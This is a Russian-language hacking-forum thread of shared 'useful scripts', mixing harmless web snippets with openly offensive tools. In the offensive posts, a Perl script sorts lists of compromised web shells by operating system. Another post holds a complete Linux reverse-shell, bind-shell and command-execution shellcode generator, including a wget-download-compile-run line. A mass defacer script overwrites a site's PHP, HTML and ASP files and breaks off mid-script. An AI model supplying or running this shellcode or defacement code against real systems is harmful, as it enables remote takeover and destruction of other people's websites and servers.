Полезные скрипты

Discussion in 'PHP' started by SMiX, 2 Nov 2006.

  1. RegStuff

    RegStuff Banned

    Joined:
    19 Feb 2009
    Messages:
    3
    Likes Received:
    2
    Reputations:
    0
    эльвипи это делает за тебя, балбес :(
    эт не я, это из привата

    PS: бачи на русской мове, не понятно ничего почти
     
    #661 RegStuff, 10 Mar 2009
    Last edited: 10 Mar 2009
  2. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,174
    Likes Received:
    1,157
    Reputations:
    202
    Для GD
    Если вы привыкли задавать цвет так, как это делается в HTML, то можете использовать следующую функцию:

    PHP:
    function htmlcolor($img,$color) {
        
    sscanf($color"%2x%2x%2x"$red$green$blue);
        return 
    ImageColorAllocate($img,$red,$green,$blue);
        return(
    $c);
        }

    $red=htmlcolor($img,"FF0000");
     
    2 people like this.
  3. real_kas

    real_kas Member

    Joined:
    22 Mar 2007
    Messages:
    40
    Likes Received:
    7
    Reputations:
    5
    для такого случая посовтую сервис http://dumpz.org. там выкладываешь исходник, он его не бьет... вроде :)
     
  4. 159932

    159932 Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    587
    Likes Received:
    462
    Reputations:
    5
    2 real_kas
    мне как то и рапида подходит..
     
  5. real_kas

    real_kas Member

    Joined:
    22 Mar 2007
    Messages:
    40
    Likes Received:
    7
    Reputations:
    5
    если архив это да. а если кусок кода то нет. рапида неудобная до ужаса...
     
  6. ph1l1ster

    ph1l1ster Elder - Старейшина

    Joined:
    11 Mar 2008
    Messages:
    396
    Likes Received:
    153
    Reputations:
    19
    надо было рассортироватьшеллы...
    простенький сортировщик шеллов в один поток, сортирует по winddows, linux, freebsd.

    Code:
    #!usr/bin/perl
    use LWP::UserAgent;
    print "\n\nEnter Shells file name:";
    $shells = <STDIN>;
    open(SHELLS,$shells) || die "\n# Can not open $shells";
    open(WIN, ">>wind_shells.txt");
    open(LIN, ">>lin_shells.txt");
    open(BSD, ">>freebsd_shells.txt");
    sub search($url,$win,$lin,$bsd) 
    {
    $client = LWP::UserAgent->new( ) or die;
    $answer = $client->get($url);
    $win="Windows";
    $lin="Linux";
    $bsd="FreeBSD";
    if (index($answer->content,$win)>-1)
    {
    print WIN "$url\n";
    }
    if (index($answer->content,$lin)>-1)
    {
    print LIN "$url";
    }
    if (index($answer->content,$bsd)>-1)
    {
    print BSD "$url";
    }
    }
    print "## Sorting...\n";
    while (defined($url=<SHELLS>)) 
    {
    &search($url,$win,$lin,$bsd) ;
    }
     
  7. heretic1990

    heretic1990 Elder - Старейшина

    Joined:
    2 Jul 2008
    Messages:
    487
    Likes Received:
    182
    Reputations:
    5
    Строка в поле статуса, мелочь, но иногда бывает полезной!

    Вылетающие сообщение в строке статуса

    HTML:
    <script language="JavaScript" type="text/javascript">
    function snapIn(jumpSpaces,position) {
      var msg = "Добро пожаловать!!!" 
      var out = ""
      if (killScroll) {return false}
      for (var i=0; i<position; i++)
        {out += msg.charAt(i)}
      for (i=1;i<jumpSpaces;i++)
        {out += " "}
      out += msg.charAt(position)
      window.status = out
      if (jumpSpaces <= 1) {
        position++
        if (msg.charAt(position) == ' ')
          {position++ }
        jumpSpaces = 100-position
      } else if (jumpSpaces >  3)
           {jumpSpaces *= .75}
      else
        {jumpSpaces--}
      if (position != msg.length) {
        var cmd = "snapIn(" + jumpSpaces + "," + position + ")";
        scrollID = window.setTimeout(cmd,5);
      } else {
        scrolling = false
        return false
      }
      return true
    }
    function snapSetup() {
     if (scrolling)
      if (!confirm('Re-initialize snapIn?'))
       return false
       killScroll = true
       scrolling = true
       var killID = window.setTimeout('killScroll=false',6)
       scrollID = window.setTimeout('snapIn(100,0)',10)
       return true
    }
    var scrollID = Object
    var scrolling = false
    var killScroll = false
    </script>
     
    
    

    Мигающая строка в поле статуса

    Code:
    <script language="JavaScript" type="text/javascript">
    <!--//
    var yourwords="Добро пожаловать!";
    var speed=600; 
    var control=1;
    function flash()
    {
    if (control==1)
    {
    window.status=yourwords;control=0
    }
    else {
    window.status="";control=1
    }
    setTimeout("flash();",speed) };
    flash();
    //-->
    </script>

    Текст в строке состояния браузера неподвижный

    Code:
    <script language=JavaScript>
    <!--
    var tlp_ststtext="Добро пожаловать!";function tlp_ststfnc(){window.status=tlp_ststtext;tmp=setTimeout("tlp_ststfnc()",10);}tlp_ststfnc();
    //-->
    </script>

    Текст в строке состояния браузера подвижный

    Code:
    <script language=JavaScript>
    <!--
    var scrolltext = "Добро пожаловать!";
    var lenscrolltext = scrolltext.length;
    var width = 100;
    var pos = 1-width;
    var tlp_std = 100;
    function tlp_sfu() {pos++;var scroller="";if (pos==lenscrolltext) {pos=1-width;}if (pos<0) {for (var i=1; i<=Math.abs(pos); i++) {scroller=scroller+" ";}scroller=scroller+scrolltext.substring(0,width-i+1);}else {scroller=scroller+scrolltext.substring(pos,width+pos);}window.status = scroller;setTimeout("tlp_sfu()", tlp_std);}tlp_sfu();
    //-->
    </script>
    Постепенный вывод заголовка документа


    Code:
    <script><!--//
    var tit = document.title;
    var c = 0;
    function writetitle() {
    document.title = tit.substring(0,c);
    if(c==tit.length)
    {
    c = 0;
    setTimeout("writetitle()", 3000)
    }
    else {
    c++;
    setTimeout("writetitle()", 200)
    }
    }
    writetitle()
    // -->
    </script>
    
     
  8. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    heretic1990, копирайты?
     
  9. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    sitescaner1.1.exe

    Обновленная GUI-версия сканера сайтов на папки/файлы. Обновления:

    1. Поддержка прокси без авторизации
    2. Поддержка прокси с авторизацией
    3. Возможность выставлять паузу между запросами (в секундах)
    4. Найденные папки/файлы отображаются в виде дерева
    5. Возможность сканить подпапки просто нажав на соответствующую ветвь дерева
    6. Возможность сохранить результаты в уникальный файл (имя_хоста.txt)
    7. Возможность сканить новый сайт без выхода из программы (кнопка Reset)
    8. Возможность редактировать ошибки, выданные сайтом, когда страница не существует

    Cкачать

    [​IMG]

    как поиметь свой личный приватный прокси, который по параметрам вполне подходит для таких дел, читаем

    ЗДЕСЬ
     
    #669 Pashkela, 12 Mar 2009
    Last edited: 12 Mar 2009
    1 person likes this.
  10. bombeg

    bombeg Member

    Joined:
    27 Oct 2008
    Messages:
    136
    Likes Received:
    83
    Reputations:
    8
    heretic1990, это не полезные скрипты, а пережиток с сайтов народа 2000-2001 годов.
     
  11. Sharky

    Sharky Elder - Старейшина

    Joined:
    1 May 2006
    Messages:
    487
    Likes Received:
    312
    Reputations:
    46
    Pashkela а как это к php или perl относится?
     
  12. Phm.phx

    Phm.phx Banned

    Joined:
    12 Jan 2008
    Messages:
    73
    Likes Received:
    232
    Reputations:
    1
    хуиз если влом на сайты лезть
    PHP:
    <html>
     <head> 
    <title>WHOIS</title> 
    </head>
     <body>
     <center>
     <H4> IPшник</H4> 
    <FORM action=ip.php method=post>
     <INPUT type=text name=ip size=40>
     <input type=submit value='ок'> 
    </form> 
    </center> 
      <?php if ($ip!=""
    $sock fsockopen ("whois.arin.net",43,$errno,$errstr); //соединение с сокетом TCP, ожидающим на сервере "whois.arin.net" на 43 порту. Возвращение дескриптора соединения 
     
    if (!$sock) { 
    echo(
    "$errno($errstr)"); 
    return; 
    }
     else { 
    fputs ($sock$ip."rn"); //запись строки из переменной $ip в дескриптор сокета  
    while (!feof($sock)) { echo (str_replace(":",": ",fgets ($sock,128))."<br>"); //чтение  дескриптора сокета
     


    fclose ($sock); //закрытие соединения 

    ?>  </body> </html>
     
    1 person likes this.
  13. heretic1990

    heretic1990 Elder - Старейшина

    Joined:
    2 Jul 2008
    Messages:
    487
    Likes Received:
    182
    Reputations:
    5
    Скрипт отражения изображения

    reflection.js
    Code:
    document.getElementsByClassName = function(className) {
    	var children = document.getElementsByTagName('*') || document.all;
    	var elements = new Array();
      
    	for (var i = 0; i < children.length; i++) {
    		var child = children[i];
    		var classNames = child.className.split(' ');
    		for (var j = 0; j < classNames.length; j++) {
    			if (classNames[j] == className) {
    				elements.push(child);
    				break;
    			}
    		}
    	}
    	return elements;
    }
    
    var Reflection = {
    	defaultHeight : 0.5,
    	defaultOpacity: 0.5,
    	
    	add: function(image, options) {
    		Reflection.remove(image);
    		
    		doptions = { "height" : Reflection.defaultHeight, "opacity" : Reflection.defaultOpacity }
    		if (options) {
    			for (var i in doptions) {
    				if (!options[i]) {
    					options[i] = doptions[i];
    				}
    			}
    		} else {
    			options = doptions;
    		}
    	
    		try {
    			var d = document.createElement('div');
    			var p = image;
    			
    			var classes = p.className.split(' ');
    			var newClasses = '';
    			for (j=0;j<classes.length;j++) {
    				if (classes[j] != "reflect") {
    					if (newClasses) {
    						newClasses += ' '
    					}
    					
    					newClasses += classes[j];
    				}
    			}
    
    			var reflectionHeight = Math.floor(p.height*options['height']);
    			var divHeight = Math.floor(p.height*(1+options['height']));
    			
    			var reflectionWidth = p.width;
    			
    			if (document.all && !window.opera) {
    				/* Fix hyperlinks */
                    if(p.parentElement.tagName == 'A') {
    	                var d = document.createElement('a');
    	                d.href = p.parentElement.href;
                    }  
                        
    				/* Copy original image's classes & styles to div */
    				d.className = newClasses;
    				p.className = 'reflected';
    				
    				d.style.cssText = p.style.cssText;
    				p.style.cssText = 'vertical-align: bottom';
    			
    				var reflection = document.createElement('img');
    				reflection.src = p.src;
    				reflection.style.width = reflectionWidth+'px';
    				
    				reflection.style.marginBottom = "-"+(p.height-reflectionHeight)+'px';
    				reflection.style.filter = 'flipv progid:DXImageTransform.Microsoft.Alpha(opacity='+(options['opacity']*100)+', style=1, finishOpacity=0, startx=0, starty=0, finishx=0, finishy='+(options['height']*100)+')';
    				
    				d.style.width = reflectionWidth+'px';
    				d.style.height = divHeight+'px';
    				p.parentNode.replaceChild(d, p);
    				
    				d.appendChild(p);
    				d.appendChild(reflection);
    			} else {
    				var canvas = document.createElement('canvas');
    				if (canvas.getContext) {
    					/* Copy original image's classes & styles to div */
    					d.className = newClasses;
    					p.className = 'reflected';
    					
    					d.style.cssText = p.style.cssText;
    					p.style.cssText = 'vertical-align: bottom';
    			
    					var context = canvas.getContext("2d");
    				
    					canvas.style.height = reflectionHeight+'px';
    					canvas.style.width = reflectionWidth+'px';
    					canvas.height = reflectionHeight;
    					canvas.width = reflectionWidth;
    					
    					d.style.width = reflectionWidth+'px';
    					d.style.height = divHeight+'px';
    					p.parentNode.replaceChild(d, p);
    					
    					d.appendChild(p);
    					d.appendChild(canvas);
    					
    					context.save();
    					
    					context.translate(0,image.height-1);
    					context.scale(1,-1);
    					
    					context.drawImage(image, 0, 0, reflectionWidth, image.height);
    	
    					context.restore();
    					
    					context.globalCompositeOperation = "destination-out";
    					var gradient = context.createLinearGradient(0, 0, 0, reflectionHeight);
    					
    					gradient.addColorStop(1, "rgba(255, 255, 255, 1.0)");
    					gradient.addColorStop(0, "rgba(255, 255, 255, "+(1-options['opacity'])+")");
    		
    					context.fillStyle = gradient;
    					if (navigator.appVersion.indexOf('WebKit') != -1) {
    						context.fill();
    					} else {
    						context.fillRect(0, 0, reflectionWidth, reflectionHeight*2);
    					}
    				}
    			}
    		} catch (e) {
    	    }
    	},
    	
    	remove : function(image) {
    		if (image.className == "reflected") {
    			image.className = image.parentNode.className;
    			image.parentNode.parentNode.replaceChild(image, image.parentNode);
    		}
    	}
    }
    
    function addReflections() {
    	var rimages = document.getElementsByClassName('reflect');
    	for (i=0;i<rimages.length;i++) {
    		var rheight = null;
    		var ropacity = null;
    		
    		var classes = rimages[i].className.split(' ');
    		for (j=0;j<classes.length;j++) {
    			if (classes[j].indexOf("rheight") == 0) {
    				var rheight = classes[j].substring(7)/100;
    			} else if (classes[j].indexOf("ropacity") == 0) {
    				var ropacity = classes[j].substring(8)/100;
    			}
    		}
    		
    		Reflection.add(rimages[i], { height: rheight, opacity : ropacity});
    	}
    }
    
    var previousOnload = window.onload;
    window.onload = function () { if(previousOnload) previousOnload(); addReflections(); }
    
    Незабываем потом его подключить))

    <script type="text/javascript" src="reflection.js"></script>


    пример использования:
    <img src="example.jpg" alt="" class="reflect" />
     
    1 person likes this.
  14. Shadow_p1raT

    Shadow_p1raT Elder - Старейшина

    Joined:
    9 Mar 2008
    Messages:
    174
    Likes Received:
    93
    Reputations:
    0
    Написал альтернативную функцию для работы с вебом.
    Использует file_get_contents()
    PHP:
    function sock_do($action,$method,$header false,$params false,$proxy false,$cookie false,$referer false)
    {
       
    $out    = array('http' => array());
       
    $method strtoupper($method);
       if(
    $method == 'GET') {
          
    $action .= '?'.$params;
          
    $out['http']['method'] = 'GET';
          
       } elseif(
    $method == 'POST') {
          
    $out['http']['method']  = 'POST';
          
    $out['http']['header']  = "Content-type: application/x-www-form-urlencoded\r\n".
                                    
    "Content-length: ".strlen($params)."\r\n";
          
    $out['http']['content'] = $params;                        
       } else {
          
          die(
    'Йа криветко');
       }
       if(
    $proxy) {
          
    $out['http']['proxy'] = 'tcp://'.$proxy;
       }
       if(
    $cookie) {
          
    $out['http']['header'] .= 'Cookie: '.$cookie."\r\n";
       }
       if(
    $referer) {
          
    $out['http']['header'] .= 'Referer: '.$referer."\r\n";
       }
       
    $out['http']['header'] .= "Connection: close\r\n";
       
       
    $content stream_context_create($out);
       
    $result = @file_get_contents($action,false,$content);
       
    $res = array();
       
    $res = array($result);
       if(
    $header) {
          
    $res[] = implode("\r\n",$http_response_header);
       }
       return 
    $res//Возвращаем ответ + заголовки                    
    }
    # [пример использования]
    $send sock_do('http://microsoft.com/private/index.php','GET',1,'login=bill&password=antichat');# аналагично с POST
    print_R($send);# В первом кдюче ответ сервера во втором заголовки
    Спросите для чего @ перед file_get_contens() ?
    Если вы обратитесь к серверу и он вас хидером перенаправит ну другой хост то file_get_contents вернёт ошибку:)В таком случае в переменной $header должно быть true.Далее парсим заголовки)
     
    1 person likes this.
  15. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    самым прямым образом
     
  16. ph1l1ster

    ph1l1ster Elder - Старейшина

    Joined:
    11 Mar 2008
    Messages:
    396
    Likes Received:
    153
    Reputations:
    19
    Linux shellcode generator

    Code:
    #!/usr/bin/perl
    # linux shellcode generator [x86,x86-64][reverse shell, bind shell, execute cmd]
    # contact: xzid420[at]gmail.com
    use strict;
    use warnings;
    use Getopt::Long;
    
    my $comment=q{
    -------------------------
        reverse shell x86
    -------------------------
      xor %edx,%edx
      push $0x06
      push $0x01
      push $0x02
      mov %esp,%ecx
      push $0x66
      pop %eax
      push $0x01
      pop %ebx
      int $0x80
      movb $0x02,(%esp)
      movw $0xbc01,2(%esp)        # htons(444);
      movl $0xa0a0a0a,4(%esp)     # inet_addr("10.10.10.10");
      mov %esp,%ecx
      push $0x10
      push %ecx
      push %eax
      mov %esp,%ecx
      push %eax
      mov %esp,%ebp
      push $0x66
      pop %eax
      push $0x03
      pop %ebx
      int $0x80
      mov %ebp,%esp
      pop %ebx
      push $0x03
      pop %ecx
    
    dup2loop:
      dec %ecx
      push $63
      pop %eax
      int $0x80
      jnz dup2loop
    
      push %edx
      push $0x68732f6e  # hs/n
      push $0x69622f2f  # ib//
      mov %esp,%ebx
      xor %ecx,%ecx
      push $0x0b
      pop %eax
      int $0x80
    -------------------------
       reverse shell x86-64
    -------------------------
      xorq %rdx,%rdx
      pushq $0x29
      pop %rax
      push $0x01
      pop %rsi
      push $0x02
      pop %rdi
      syscall
    
      xchgq %rax,%rdi
      movb $0x02,(%rsp)
      movw $0x6007,2(%rsp)         #; htons(1087);
      movl $0xa0a0a0a,4(%rsp)      #; inet_addr("10.10.10.10");
      movq %rsp,%rsi
      push $0x10
      pop %rdx
      push $0x2a
      pop %rax
      syscall
      push $0x03
      pop %rsi
    
    dup2loop:
      dec %rsi
      push $33
      pop %rax
      syscall
      jnz dup2loop
    
      xorq %rdx,%rdx
      movq $0x68732f6e69622f2f,%rbx
      shr $0x8,%rbx
      pushq %rbx
      movq %rsp,%rdi
      pushq %rdx
      pushq %rdi
      movq %rsp,%rsi
      push $59
      pop %rax
      syscall
    -------------------------
         bind shell x86
    -------------------------
      xor %edx,%edx
      push $0x06
      push $0x01
      push $0x02
      mov %esp,%ecx
      push $0x66
      pop %eax
      push $0x01
      pop %ebx
      int $0x80
    
      mov %eax,%edi
      movb $0x02,(%esp)
      movw $0xbc01,2(%esp)        # htons(444)
      movl %edx,4(%esp)           # 0[INADDR_ANY]
      mov %esp,%ecx
      push $0x10
      push %ecx
      push %eax
      mov %esp,%ecx
      push %eax
      mov %esp,%ebp
      push $0x66
      pop %eax
      push $0x02
      pop %ebx
      int $0x80
    
      push $0x05
      push %edi
      mov %esp,%ecx
      push $0x66
      pop %eax
      push $0x04
      pop %ebx
      int $0x80
    
      push %edx
      push %edx
      push %edi
      mov %esp,%ecx
      push $0x05
      pop %ebx
      push $0x66
      pop %eax
      int $0x80
      xchg %ebx,%eax
      push $0x03
      pop %ecx
    
    dup2loop:
      dec %ecx
      push $63
      pop %eax
      int $0x80
      jnz dup2loop
    
      push %edx
      push $0x68732f6e  # hs/n
      push $0x69622f2f  # ib//
      mov %esp,%ebx
      xor %ecx,%ecx
      push $0x0b
      pop %eax
      int $0x80
    -------------------------
        bind shell x86-64
    -------------------------
      xorq %rdx,%rdx
      pushq $0x29
      pop %rax
      push $0x01
      pop %rsi
      push $0x02
      pop %rdi
      syscall
    
      xchgq %rax,%rdi
      xorq %rax,%rax
      movb $0x02,(%rsp)
      movw $0x6007,2(%rsp)         #; htons(1087);
      movl %eax,4(%rsp)            #; 0[INADDR_ANY]
      movq %rsp,%rsi
      push $0x10
      pop %rdx
      push $49
      pop %rax
      syscall
    
      push $0x01
      pop %rsi
      push $50
      pop %rax
      syscall
    
      xorq %rsi,%rsi
      xorq %rdx,%rdx
      push $43
      pop %rax
      syscall
    
      xchgq %rax,%rdi
      push $0x03
      pop %rsi
    
    dup2loop:
      dec %rsi
      push $33
      pop %rax
      syscall
      jnz dup2loop
    
      xorq %rdx,%rdx
      movq $0x68732f6e69622f2f,%rbx
      shr $0x8,%rbx
      pushq %rbx
      movq %rsp,%rdi
      pushq %rdx
      pushq %rdi
      movq %rsp,%rsi
      push $59
      pop %rax
      syscall
    -------------------------
         execute cmd x86
    -------------------------
      jmp cmd
    
    shellcode:
      pop %ecx
      xor %edx,%edx
      push %edx
      push $0x68732f6e    # hs/n
      push $0x69622f2f    # ib//
      mov %esp,%ebx
      movw $0x632d,%ax
      push %edx
      push %ax
      mov %esp,%eax
      push %edx
      push %ecx
      push %eax
      push %ebx
      mov %esp,%ecx
      push $0x0b
      pop %eax
      int $0x80
      push $0x01
      pop %eax
      xor %ebx,%ebx
      int $0x80
    
    cmd:
      call shellcode
      .ascii "wget -q -O shell.c http://remote/file.c;gcc -o bind shell.c;./bind"
    -------------------------
       execute cmd x86-64
    -------------------------
      jmp cmd
    
    shellcode:
      pop %rcx
      xorq %rdx,%rdx
      movq $0x68732f6e69622f2f,%rbx  # hs/nib//
      shr $0x8,%rbx
      push %rbx
      movq %rsp,%rdi
      movw $0x632d,%ax
      pushq %rdx
      pushq %ax
      movq %rsp,%rax
      pushq %rdx
      pushq %rcx
      pushq %rax
      pushq %rdi
      movq %rsp,%rsi
      xorq %rax,%rax
      movb $0x3b,%al
      syscall
      push $0x3c
      pop %rax
      xorq %rdi,%rdi
      syscall
    
    cmd:
      call shellcode
      .string "wget -q -O shell.c http://remote/file.c;gcc -o bind shell.c;./bind"
    -------------------------
    };
    
    my($host,$port,$cmd,$amd64,$shellcode);
    
    GetOptions("host=s" => \$host,
               "port=i" => \$port,
               "cmd=s"  => \$cmd,
               "64"     => \$amd64);
    
    if($host and $port)
      {
      if($amd64)
        {
        # x86-64 reverse shell
        $shellcode=
       '\x48\x31\xd2\x6a\x29\x58\x6a\x01\x5e\x6a\x02\x5f\x0f\x05\x48\x97\xc6\x04\x24\x02\x66'.
       '\xc7\x44\x24\x02'.sport($port).'\xc7\x44\x24\x04'.saddr($host).'\x48\x89\xe6\x6a\x10'.
       '\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31'.
       '\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x52\x57'.
       '\x48\x89\xe6\x6a\x3b\x58\x0f\x05';
        print "linux/x86-64 reverse shell\n\n";
        }
      else
        {
        # x86 reverse shell
        $shellcode=
       '\x31\xd2\x6a\x06\x6a\x01\x6a\x02\x89\xe1\x6a\x66\x58\x6a\x01\x5b\xcd\x80\xc6\x04\x24'.
       '\x02\x66\xc7\x44\x24\x02'.sport($port).'\xc7\x44\x24\x04'.saddr($host).'\x89\xe1\x6a'.
       '\x10\x51\x50\x89\xe1\x50\x89\xe5\x6a\x66\x58\x6a\x03\x5b\xcd\x80\x89\xec\x5b\x6a\x03'.
       '\x59\x49\x6a\x3f\x58\xcd\x80\x75\xf8\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89'.
       '\xe3\x31\xc9\x6a\x0b\x58\xcd\x80';
        print "linux/x86 reverse shell\n\n";
        }
      print "host: $host\n",
       "port: $port\n";
      }
    elsif($port)
      {
      if($amd64)
        {
        # x86-64 bind shell
        $shellcode=
       '\x48\x31\xd2\x6a\x29\x58\x6a\x01\x5e\x6a\x02\x5f\x0f\x05\x48\x97\x48\x31\xc0\xc6\x04'.
       '\x24\x02\x66\xc7\x44\x24\x02'.sport($port).'\x89\x44\x24\x04\x48\x89\xe6\x6a\x10\x5a'.
       '\x6a\x31\x58\x0f\x05\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x31\xf6\x48\x31\xd2\x6a\x2b'.
       '\x58\x0f\x05\x48\x97\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xd2'.
       '\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x52\x57\x48'.
       '\x89\xe6\x6a\x3b\x58\x0f\x05';
        print "linux/x86-64 bind shell\n\n";
        }
      else
        {
        # x86 bind shell
        $shellcode=
       '\x31\xd2\x6a\x06\x6a\x01\x6a\x02\x89\xe1\x6a\x66\x58\x6a\x01\x5b\xcd\x80\x89\xc7\xc6'.
       '\x04\x24\x02\x66\xc7\x44\x24\x02'.sport($port).'\x89\x54\x24\x04\x89\xe1\x6a\x10\x51'.
       '\x50\x89\xe1\x50\x89\xe5\x6a\x66\x58\x6a\x02\x5b\xcd\x80\x6a\x05\x57\x89\xe1\x6a\x66'.
       '\x58\x6a\x04\x5b\xcd\x80\x52\x52\x57\x89\xe1\x6a\x05\x5b\x6a\x66\x58\xcd\x80\x93\x6a'.
       '\x03\x59\x49\x6a\x3f\x58\xcd\x80\x75\xf8\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69'.
       '\x89\xe3\x31\xc9\x6a\x0b\x58\xcd\x80';
        print "linux/x86 bind shell\n\n";
        }
      print "port: $port\n";
      }
    elsif($cmd)
      {
      if($amd64)
        {
        # x86-64 execute cmd
        $shellcode=
       '\xeb\x35\x59\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53'.
       '\x48\x89\xe7\x66\xb8\x2d\x63\x52\x50\x48\x89\xe0\x52\x51\x50\x57\x48\x89\xe6\x48\x31'.
       '\xc0\xb0\x3b\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05\xe8\xc6\xff\xff\xff'.cmd($cmd);
        print "linux/x86-64 execute cmd\n\n";
        }
      else
        {
        # x86 execute cmd
        $shellcode=
       '\xeb\x2b\x59\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x66\xb8\x2d'.
       '\x63\x52\x66\x50\x89\xe0\x52\x51\x50\x53\x89\xe1\x6a\x0b\x58\xcd\x80\x6a\x01\x58\x31'.
       '\xdb\xcd\x80\xe8\xd0\xff\xff\xff'.cmd($cmd);
        print "linux/x86 execute cmd\n\n";
        }
      print "cmd: $cmd\n";
      }
    else
      {
      print "# linux shellcode generator [x86,x86-64][reverse shell, bind shell, execute cmd]\n\n",
       "reverse:\n",
       "  $0 --host <host> --port <port>\n\n",
       "bind:\n",
       "  $0 --port <port>\n\n",
       "cmd:\n",
       "  $0 --cmd <cmd>\n\n",
       "args:\n",
       "  --64            x86-64, default x86\n";
      exit;
      }
    
    print "shellcode length: ",shellcode_length($shellcode)," bytes\n\n",
          "-------------------------\n",
          $shellcode,
          "\n-------------------------\n";
    
    sub shellcode_length
      {
      my $scode=shift||return 0;
      my  @p=split('x',$scode);
      return $#p;
      }
    
    sub cmd
      {
      my $c=shift;
      $c=~s/(.)/sprintf("\\x%02x",ord($1))/eg;
      return $c;
      }
    
    sub saddr
      {
      my $host=shift;
      my $s=gethostbyname($host) or die "error: host lookup failed\n";
      my  @sp=unpack('C4',$s);
      my $ret="";
      for(< @sp>) {$ret.=sprintf("\\x%.2x",$_);}
      print ">> warning: host \"$host\" contains a null byte\n-----------\n" if($ret=~/00/);
      return $ret;
      }
    
    sub sport
      {
      my $port=shift;
      die "port range: 300-20000\n" if($port<300||$port>20000);
      $port=sprintf("%.4x",$port);
      $port=~s/(.{2})/\\x$1/g;
      return $port;
      }
     
    1 person likes this.
  17. HOSTAL

    HOSTAL New Member

    Joined:
    10 Jul 2008
    Messages:
    1
    Likes Received:
    1
    Reputations:
    0
    Тупо исправляет на странслит:)
    PHP:
    <?php  $n=strlen($string);  $i=0;  while($i<$n)  {  switch($string[$i])  {  case "А"$string[$i]="A"; break;  case "а"$string[$i]="a"; break;  case "Б"$string[$i]="B"; break;  case "б"$string[$i]="b"; break;  case "В"$string[$i]="V"; break;  case "в"$string[$i]="v"; break;  case "Г"$string[$i]="G"; break;  case "г"$string[$i]="g"; break;  case "Д"$string[$i]="D"; break;  case "д"$string[$i]="d"; break;  case "Е"$string[$i]="E"; break;  case "е"$string[$i]="e"; break;  case "Ё"$string[$i]="E"; break;  case "ё"$string[$i]="e"; break;  case "Ж"$string[$i]="J"; break;  case "ж"$string[$i]="j"; break;  case "З"$string[$i]="Z"; break;  case "з"$string[$i]="z"; break;  case "И"$string[$i]="I"; break;  case "и"$string[$i]="i"; break;  case "Й"$string[$i]="I"; break;  case "й"$string[$i]="i"; break;  case "К"$string[$i]="K"; break;  case "к"$string[$i]="k"; break;  case "Л"$string[$i]="L"; break;  case "л"$string[$i]="l"; break;  case "М"$string[$i]="M"; break;  case "м"$string[$i]="m"; break;  case "Н"$string[$i]="N"; break;  case "н"$string[$i]="n"; break;  case "О"$string[$i]="O"; break;  case "о"$string[$i]="o"; break;  case "П"$string[$i]="P"; break;  case "п"$string[$i]="p"; break;  case "Р"$string[$i]="R"; break;  case "р"$string[$i]="r"; break;  case "С"$string[$i]="S"; break;  case "с"$string[$i]="s"; break;  case "Т"$string[$i]="T"; break;  case "т"$string[$i]="t"; break;  case "У"$string[$i]="U"; break;  case "у"$string[$i]="u"; break;  case "Ф"$string[$i]="F"; break;  case "ф"$string[$i]="f"; break;  case "Х"$string[$i]="H"; break;  case "х"$string[$i]="h"; break;  case "Ч"$string[$i]="С"; break;  case "ч"$string[$i]="с"; break;  case "Ш"$string[$i]="S"; break;  case "ш"$string[$i]="s"; break;  case "Щ"$string[$i]="S"; break;  case "щ"$string[$i]="s"; break;  case "Ц"$string[$i]="C"; break;  case "ц"$string[$i]="c"; break;  case "Ъ"$string[$i]="`"; break;  case "ъ"$string[$i]="`"; break;  case "Ы"$string[$i]="I"; break;  case "ы"$string[$i]="i"; break;  case "Ь"$string[$i]="'"; break;  case "ь"$string[$i]="'"; break;  case "Э"$string[$i]="E"; break;  case "э"$string[$i]="e"; break;  case "Ю"$string[$i]="U"; break;  case "ю"$string[$i]="u"; break;  case "Я"$string[$i]="Y"; break;  case "я"$string[$i]="y"; break;  }  $i++;  }  echo "<form method=post><textarea cols=70 rows=20 name=string></textarea><input type=submit value='Затранслитить:)'> </form>";  echo "<b>".$string."</b>";      ?>
     
    1 person likes this.
  18. Sharky

    Sharky Elder - Старейшина

    Joined:
    1 May 2006
    Messages:
    487
    Likes Received:
    312
    Reputations:
    46
    HOSTAL оформи код нормально
     
  19. ph1l1ster

    ph1l1ster Elder - Старейшина

    Joined:
    11 Mar 2008
    Messages:
    396
    Likes Received:
    153
    Reputations:
    19
    Mass Defacer

    Code:
    #!/usr/bin/perl -w 
    $def = 'YOUR LAME DEFACE PAGE HERE =)'; 
    {        print "[+]DEFACING...\n"; 
             print"[+]DEFACING .PHP FILES...\n"; 
           my @php = glob("*.php"); 
         foreach my $deface(@php){ 
         open(DEFACE, '>', $deface); 
         print DEFACE $def || print "[-]Facked up: $!\n"; 
         close(DEFACE) 
      } 
             print "[+]DEFACING .HTML FILES...\n"; 
             my @html = glob("*.html");
         foreach my $deface(@html){ 
         open(DEFACE, '>', $deface); 
         print DEFACE $def || print "[-]Facked up: $!\n"; 
         close(DEFACE) 
      } 
             print "[+]DEFACING .ASP FILES...\n"; 
           my @asp = glob("*.asp");  
         foreach my $deface(@asp){ 
         open(DEFACE, '>', $deface); 
         print DEFACE $def || print "[-]Facked up: $!\n"; 
         close(DEFACE) 
      } 
             print "[+]DEFACING .ASPX FILES...\n"; 
           my @aspx = glob("*.aspx");
         foreach my $deface(@aspx){ 
         open(DEFACE, '>', $deface); 
         print DEFACE $def || print "[-]Facked up: $!\n"; 
